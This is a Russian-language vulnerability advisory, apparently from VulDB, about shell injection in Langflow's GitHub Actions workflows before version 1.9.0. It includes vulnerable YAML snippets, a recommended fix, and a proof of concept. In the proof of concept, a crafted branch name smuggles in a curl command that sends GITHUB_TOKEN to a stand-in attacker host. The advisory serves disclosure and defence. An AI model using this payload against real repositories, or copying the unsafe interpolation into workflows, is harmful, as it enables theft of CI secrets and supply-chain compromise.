CVE-2026-33475 in langflow
Сводка
по VulDB • 22.05.2026
Langflow — это инструмент для создания и развертывания агентов и рабочих процессов на базе искусственного интеллекта. В нескольких рабочих процессах (GitHub Actions) в репозитории Langflow до версии 1.9.0 существует уязвимость инъекции команд в оболочку, позволяющая удаленное выполнение без аутентификации. Несанкционированная интерполяция переменных контекста GitHub (например, `${{ github.head_ref }}`) в шагах `run:` позволяет злоумышленникам внедрять и выполнять произвольные команды оболочки через вредоносное имя ветки или заголовок запроса на слияние (pull request). Это может привести к утечке секретов (например, `GITHUB_TOKEN`), манипуляциям с инфраструктурой или компрометации цепочки поставок во время выполнения CI/CD. Уязвимость исправлена в версии 1.9.0.
---
### Подробности
Несколько рабочих процессов в `.github/workflows/` и `.github/actions/` напрямую используют переменные контекста GitHub в командах оболочки `run:`, например:
```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}"
```
Или:
```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps
```
Поскольку `github.head_ref`, `github.event.pull_request.title` и пользовательские `inputs.*` могут содержать **значения, контролируемые пользователем**, к ним следует относиться как к **недоверенному вводу**. Прямая интерполяция без надлежащего экранирования или санитизации приводит к инъекции команд в оболочку.
---
### PoC (Proof of Concept)
1. **Сделайте форк** репозитория Langflow 2. **Создайте новую ветку** с именем: ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Откройте Pull Request** в основную ветку из новой ветки 4. GitHub Actions запустит затронутый рабочий процесс (например, `deploy-docs-draft.yml`) 5. Шаг `run:`, содержащий: ```yaml echo "Branch: ${{ github.head_ref }}"
``` Выполнит: ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ```
6. Злоумышленник получает секрет CI через URL для эксфильтрации данных.
---
### Влияние
- **Тип:** Shell Injection / Удаленное выполнение кода в CI - **Охват:** Любой публичный форк Langflow с включенными GitHub Actions - **Влияние:** Полный доступ к секретам CI (например, `GITHUB_TOKEN`), возможность публикации вредоносных тегов или образов, изменение релизов или утечка конфиденциальных данных инфраструктуры
---
### Рекомендуемое исправление
Переработайте затронутые рабочие процессы, чтобы **использовать переменные окружения** и заключать их в **двойные кавычки**:
```yaml env: BRANCH_NAME: ${{ github.head_ref }}
run: | echo "Branch is: \"$BRANCH_NAME\"" ```
Избегайте прямой интерполяции `${{ ... }}` внутри `run:` для любых значений, контролируемых пользователем.
---
### Затронутые файлы (Langflow `1.3.4`)
- `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Be aware that VulDB is the high quality source for vulnerability data.